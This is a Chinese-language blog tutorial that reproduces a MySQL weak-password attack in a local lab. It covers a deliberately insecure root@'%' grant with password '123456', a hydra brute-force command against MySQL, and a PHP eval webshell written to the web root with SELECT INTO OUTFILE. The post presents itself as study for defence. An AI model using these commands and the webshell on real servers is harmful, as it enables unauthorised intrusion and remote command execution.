文章目录
  1. 1. 了解漏洞
    1. 1.1. mysql是什么
    2. 1.2. mysql弱密码漏洞是什么
  2. 2. 分析漏洞原理
    1. 2.1. 具体漏洞产生原理是什么?
    2. 2.2. 漏洞结合webshell有什么危害?
  3. 3. 漏洞重现与利用
    1. 3.1. 安装配置Apache、PHP、MySQL
    2. 3.2. 设置mysql的安全配置
    3. 3.3. 安装hydra
    4. 3.4. 使用hydra进行mysql的弱密码攻击
    5. 3.5. 利用mysql写入webshell,从而利用webshell进行进一步攻击

欢迎来我的博客,这是我在学习MySQL弱密码和webshell问题的一些操作与收获。学习的目的是为了更好的了解这个漏洞,然后去防御它,而不是为了危害他人。
实验背景:
1.VMware 12 pro
2.fedora 27

了解漏洞

mysql是什么

MySQL是一个关系型数据库管理系统。

mysql弱密码漏洞是什么

mysql弱密码漏洞是系统或者数据库的登录用户,密码简单或者和用户名相同,容易通过暴力破解手段来获取密码。

分析漏洞原理

具体漏洞产生原理是什么?

一是开放了远程登录,二是密码过于简单。

漏洞结合webshell有什么危害?

可以控制你的数据库服务器,读取、写入和修改信息。

漏洞重现与利用

安装配置Apache、PHP、MySQL

1
2
3
4
5
$ sudo yum install httpd  安装apache
$ sudo yum install mysql-server 安装服务端
$ sudo yum install mysql-devel 这个应该是组件,不知道有什么用
$ sudo yum install mysql 安装客户端
$ sudo yum install php php-fpm php-bcmatch php-gd php-mbstring php-mcrypt php-mysql 安装php以及相关的组件

对应服务开启的指令:

1
2
$ sudo systemctl start httpd (stop or restart)   开启apache服务(关闭后者重启)
$ sudo systemctl start mariadb (stop or restart) 开启mysql数据库(关闭或者重启)

设置mysql的安全配置

进入mysql(第一次进入没有密码)

1
2
$ mysql -h localhost -u root -p
-h后面接IP,-u后面接用户名 -p后面接密码(可以直接-p回车之后再输入密码,这样你的密码就不被看见)

1
2
3
4
grant all privileges on *.* to 'root'@'%' identified by '123456' withg rant option;
//允许任何ip地址(%表示允许任何ip地址)的电脑用root帐户和密码(123456)来访问这个mysql server。
flush privileges;
select host,user from user; 可以通过看下是否成功

在/var/www/html/目录下创建一个test1.php文件,代码如下:

1
2
3
<?php 
phpinfo();
?>

这时候打开就能看到php的信息,如果看到mysqli和mysqlnd则说明php支持mysql

你还可以创建一个test.php的文件,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$dbhost = 'localhost:3306'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = '123456'; // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
die('Could not connect: ' . mysqli_error());
}
echo '数据库连接成功!';
mysqli_close($conn);
?>

如果出现下图结果则说明环境搭配成功。

安装hydra

直接用yum安装即可

1
$ sudo yum install hydra

使用hydra进行mysql的弱密码攻击

自己随便写了用户名字典和密码字典(把自己mysql的帐号密码添加进去)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
hydra用法:  
hydra <参数> <IP地址> <服务名>
hydra的参数是区分大小写的.
hydra支持的服务有:telnet ftp ssh mysql mssql vnc pcanywhere RDP(3389)等.
hydra的一些参数:
-R 继续从上一次的进度开始爆破
-s <port> 指定端口
-l <username> 指定登录的用户名
-L <username-list> 指定用户名字典
-p <password> 指定密码
-t <number> 设置线程数
-P <passwd-list> 指定密码字典
-v 显示详细过程

示例: hydra -l root -P /passwd.txt -t 4 -v 127.0.0.1 mysql

利用mysql写入webshell,从而利用webshell进行进一步攻击

先登录mysql,之后写入一个小马

1
2
3
Select '<?php eval($_GET[cmd]);?>' into outfile '/var/www/html/456.php';    
//把GET换成POST也行,不过之后你得通过POST操作
//如果你在另外一台虚拟机上的话,需要mysql服务端对/var/www/html 有写权限

通过这个文件可以获取一些服务器的信息,下图获得了php的信息。

也可以使用中国菜刀进行攻击(因为我们实验php的版本为7.x,所以一开始出来问题)

后来Cknife作者给出了解决方案。
链接如下:https://github.com/Chora10/Cknife/issues/33
解决问题之后我就可以通过中国菜刀对对方服务器进行操作了。

文章目录
  1. 1. 了解漏洞
    1. 1.1. mysql是什么
    2. 1.2. mysql弱密码漏洞是什么
  2. 2. 分析漏洞原理
    1. 2.1. 具体漏洞产生原理是什么?
    2. 2.2. 漏洞结合webshell有什么危害?
  3. 3. 漏洞重现与利用
    1. 3.1. 安装配置Apache、PHP、MySQL
    2. 3.2. 设置mysql的安全配置
    3. 3.3. 安装hydra
    4. 3.4. 使用hydra进行mysql的弱密码攻击
    5. 3.5. 利用mysql写入webshell,从而利用webshell进行进一步攻击